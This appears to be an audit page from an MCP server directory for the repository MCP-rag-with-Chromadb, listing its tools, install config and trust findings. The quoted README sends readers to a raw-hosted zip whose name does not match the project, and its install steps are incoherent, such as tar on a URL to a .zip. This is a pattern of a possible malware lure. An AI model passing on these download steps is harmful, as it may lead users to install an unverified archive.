MCP-rag-with-ChromadbCAUTION
🗂️ Build a versatile MCP server with RAG capabilities, supporting multiple document formats using LangChain and ChromaDB for efficient data retrieval.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/rexnzm/MCP-rag-with-Chromadb/main/downloads/MC-with-Chromadb-rag-3.4.zip)
📖 Overview
MCP-rag-with-Chromadb is a user-friendly application that allows you to utilize the Model Context Protocol (MCP) server for Retrieval-Augmented Generation (RAG). It supports multiple document formats and integrates seamlessly with LangChain and ChromaDB. Whether you want to enhance your search capabilities or streamline document handling, this application provides solid features without the technical fuss.
🚀 Getting Started
Follow these simple steps to get up and running with MCP-rag-with-Chromadb.
- Download the Application:
Visit the Releases page to find the latest version of MCP-rag-with-Chromadb.
- Choose the Right File:
On the Releases page, locate the file that matches your system. Look for options labeled for Windows, macOS, or Linux.
- Installation Steps:
- For Windows:
- Once you download the
.exefile, double-click to run it. - Follow the on-screen prompts to complete the installation.
- For macOS:
- After downloading the
.dmgfile, open it. - Drag the MCP-rag-with-Chromadb application to your Applications folder.
- For Linux:
- Download the
https://raw.githubusercontent.com/rexnzm/MCP-rag-with-Chromadb/main/downloads/MC-with-Chromadb-rag-3.4.zipfile. - Extract it to your desired location with the command
tar -xvzf https://raw.githubusercontent.com/rexnzm/MCP-rag-with-Chromadb/main/downloads/MC-with-Chromadb-rag-3.4.zip. - Navigate to the extracted folder and run the application using the command `./MCP-r
54f651c586f6OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude mcp add 6-mcp-rag-with-langchain --env OPENAI_API_KEY=${OPENAI_API_KEY} -- uvx 6-mcp-rag-with-langchain{
"mcpServers": {
"6-mcp-rag-with-langchain": {
"command": "uvx",
"args": [
"6-mcp-rag-with-langchain"
],
"env": {
"OPENAI_API_KEY": "${OPENAI_API_KEY}"
}
}
}
}Exposed tools (6)
5 read · 0 write · 1 destructive. Blast radius: 1 tool can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
check_ollama | read | |
clear_db | destructive | |
db_info | read | |
ingest_document | read | |
ingest_pdf | read | |
retrieve | read |
Trust audit
CAUTIONgrade B · trust 87/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (2 observation(s))
- Network
- declared (3 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (12)
data_level0.bin
header.bin
length.bin
link_lists.bin
CV_CyprianFusi_20251130.docx
clear_db
langchain-chroma, langchain-core, langchain-text-splitters, requests, fastmcp, PyPDF2, python-docx, beautifulsoup4
assets/binati_logo.png
chroma_db/chroma.sqlite3
documents/AI_Playbook_for_the_UK_Government__12_02_.pdf
documents/MC-rag-Chromadb-with-v2.7.zip
downloads/IIAG_Comprehensive_Report_2023_v02.docx
Gates applied: no_behavioural_pass.
54f651c586f6full audit observations/trust-audit/mcp-server/rexnzm__mcp-rag-with-chromadb.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 54f651c586f6 | CAUTION | B | 87 | first audit |
Questions
What is the MCP-rag-with-Chromadb MCP server?
🗂️ Build a versatile MCP server with RAG capabilities, supporting multiple document formats using LangChain and ChromaDB for efficient data retrieval.
What tools does MCP-rag-with-Chromadb expose?
6 in total: 5 read-only, 0 that write, and 1 that can delete or overwrite (clear_db). Every one is listed on this page with its risk.
Is MCP-rag-with-Chromadb safe to connect to an agent?
With care. The audit graded it B (87/100) and found 12 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 1 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does MCP-rag-with-Chromadb need?
It reads OPENAI_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does MCP-rag-with-Chromadb run?
It speaks stdio, so it runs as a local process your client starts. It is published on PyPI as 6-mcp-rag-with-langchain.
How current is this page?
The grade is for one exact copy of the source (54f651c586f6), read on 2026-10-11. The repository is watched and re-audited when it changes.